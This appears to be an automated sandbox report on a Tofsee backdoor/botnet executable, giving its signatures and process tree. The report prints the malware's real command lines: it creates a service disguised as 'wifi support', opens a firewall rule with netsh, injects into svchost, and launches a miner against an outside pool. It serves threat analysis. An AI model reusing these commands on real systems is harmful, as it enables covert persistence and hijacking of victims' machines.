Overview

overview

10

Static

static

d258c27fa0...fb.exe

windows7_x64

10

d258c27fa0...fb.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    12/11/2020, 14:21

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General

  • Target
    d258c27fa03a9cfe58f8a12eb0aad68ec6eb35c3abc4f31ef149975b698f4efb.exe
  • Size 10.3MB
  • Sample201112-ngq2jym16e
  • SHA256 d258c27fa03a9cfe58f8a12eb0aad68ec6eb35c3abc4f31ef149975b698f4efb
  • MD5 SHA1 SHA512
Score
10/10
tofseeevasionpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
    persistence
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d258c27fa03a9cfe58f8a12eb0aad68ec6eb35c3abc4f31ef149975b698f4efb.exe
    "C:\Users\Admin\AppData\Local\Temp\d258c27fa03a9cfe58f8a12eb0aad68ec6eb35c3abc4f31ef149975b698f4efb.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1924
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kmfcaqfy\
      2⤵
        PID:3476
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\eyypajac.exe" C:\Windows\SysWOW64\kmfcaqfy\
        2⤵
          PID:4008
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kmfcaqfy binPath= "C:\Windows\SysWOW64\kmfcaqfy\eyypajac.exe /d\"C:\Users\Admin\AppData\Local\Temp\d258c27fa03a9cfe58f8a12eb0aad68ec6eb35c3abc4f31ef149975b698f4efb.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3980
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description kmfcaqfy "wifi internet conection"
            2⤵
              PID:3968
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start kmfcaqfy
              2⤵
                PID:3216
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1420
              • C:\Windows\SysWOW64\kmfcaqfy\eyypajac.exe
                C:\Windows\SysWOW64\kmfcaqfy\eyypajac.exe /d"C:\Users\Admin\AppData\Local\Temp\d258c27fa03a9cfe58f8a12eb0aad68ec6eb35c3abc4f31ef149975b698f4efb.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2304
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:3808
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3684

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    memory/1924-1-0x00000000029E0000-0x00000000029E1000-memory.dmp
                    Download

                    memory/1924-0-0x0000000000F56000-0x0000000000F57000-memory.dmp
                    Download

                    memory/2304-12-0x00000000015B0000-0x00000000015B1000-memory.dmp
                    Download

                    memory/2304-11-0x0000000000D91000-0x0000000000D92000-memory.dmp
                    Download

                    memory/3684-23-0x0000000000A20000-0x0000000000B11000-memory.dmp
                    Download

                    memory/3808-18-0x00000000009F0000-0x00000000009F6000-memory.dmp
                    Download

                    memory/3808-14-0x0000000000980000-0x0000000000995000-memory.dmp
                    Download

                    memory/3808-17-0x0000000004A40000-0x0000000004C4F000-memory.dmp
                    Download

                    memory/3808-19-0x0000000000D10000-0x0000000000D20000-memory.dmp
                    Download

                    memory/3808-20-0x0000000000E10000-0x0000000000E15000-memory.dmp
                    Download

                    memory/3808-21-0x0000000009510000-0x000000000991B000-memory.dmp
                    Download

                    memory/3808-22-0x0000000002E70000-0x0000000002E77000-memory.dmp
                    Download